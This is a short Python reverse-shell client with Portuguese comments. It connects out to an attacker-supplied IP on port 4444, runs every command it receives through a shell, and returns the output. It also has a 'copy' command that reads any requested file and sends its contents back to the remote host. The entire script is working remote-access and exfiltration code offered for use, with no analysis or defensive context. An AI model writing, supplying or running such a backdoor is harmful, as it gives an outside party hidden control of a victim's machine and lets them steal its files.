#!/usr/bin/python3
#-*-coding: utf-8-*-
import socket
import subprocess
host = "SEU IP AQUI ENTRE ASPAS"
port = 4444
addr = ((host, port))
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as net:
  try:
    net.connect(addr)
    print("Conectando ao servidor")
    print("Vai tomar um cafe, isso pode demorar...")
    while True:
      cmd = net.recv(4096)
      if cmd.decode("utf-8") == "close":
        exit(0)
      # 1 recebe comando e entra na função copy
      elif cmd.decode("utf-8") == "copy":
        # 2 recebe caminho do arquivo
        cam = net.recv(4096)
        # 3 abre arquivo
        with open(cam.decode("utf-8"), "rb") as arq:
          # 5 envia
          net.send(arq.read())
      else:
        status = subprocess.run(cmd.decode("utf-8"), shell=True, text=True, stdout=subprocess.PIPE)
        net.send(status.stdout.encode("utf-8"))
  except ConnectionRefusedError:
    print("Servidor offline!")
    exit(0)
